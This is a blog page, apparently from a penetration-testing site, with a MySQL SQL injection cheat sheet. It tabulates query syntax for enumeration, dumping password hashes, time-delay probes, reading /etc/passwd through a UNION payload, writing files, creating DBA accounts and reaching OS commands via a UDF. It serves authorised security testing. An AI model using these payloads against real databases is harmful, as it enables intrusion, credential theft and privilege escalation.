pentestmonkey

Taking the monkey work out of pentesting

Categories

- Blog (78)
- Cheat Sheets (10)
  - Shells (1)
  - SQL Injection (7)
- Contact (2)
- Site News (3)
- Tools (17)
  - Audit (3)
  - Misc (7)
  - User Enumeration (4)
  - Web Shells (3)
- Uncategorized (3)
- Yaptest (15)
  - Front End (1)
  - Installing (2)
  - Overview (2)
  - Using (8)

RSS Feed

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I've endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don't apply and also areas that I haven't got round to researching yet.

The complete list of SQL Injection Cheat Sheets I'm working is:

- Oracle
- MSSQL
- MySQL
- PostgreSQL
- Ingres
- DB2
- Informix

I'm not planning to write one for MS Access, but there's a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with "– priv" at the end of the query.

Version	SELECT @@version

Comments	SELECT 1; #comment
	SELECT /*comment*/1;

Current User	SELECT user();
	SELECT system_user();

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

List Users	SELECT user FROM mysql.user; — priv
List Password Hashes	SELECT host, user, password FROM mysql.user; — priv
Password Cracker	John the Ripper will crack MySQL password hashes.
List Privileges	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database	SELECT database()

List Databases	SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
	SELECT distinct(db) FROM mysql.db — priv

List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’

Select Nth Row	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Select Nth Char	SELECT substr(‘abcd’, 3, 1); # returns c

Bitwise AND	SELECT 6 & 2; # returns 2
	SELECT 6 & 1; # returns 0

ASCII Value -> Char	SELECT char(65); # returns A
Char -> ASCII Value	SELECT ascii(‘A’); # returns 65

Casting	SELECT cast(’1′ AS unsigned integer);
	SELECT cast(’123′ AS char);

String Concatenation	SELECT CONCAT(‘A’,'B’); #returns AB
	SELECT CONCAT(‘A’,'B’,'C’); # returns ABC

If Statement	SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case Statement	SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes	SELECT 0×414243; # returns ABC

Time Delay	SELECT BENCHMARK(1000000,MD5(‘A’));
	SELECT SLEEP(5); # >= 5.0.12

Make DNS Requests	Impossible?
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access	…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Hostname, IP Address	SELECT @@hostname;
Create Users	CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users	DROP USER test1; — priv
Make User DBA	GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Location of DB files	SELECT @@datadir;
Default/System Databases	information_schema (>= mysql 5.0) mysql

Thanks

Jonathan Turner for @@hostname tip.

Tags: cheatsheet, database, mysql, pentest, sqlinjection

Posted in SQL Injection

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD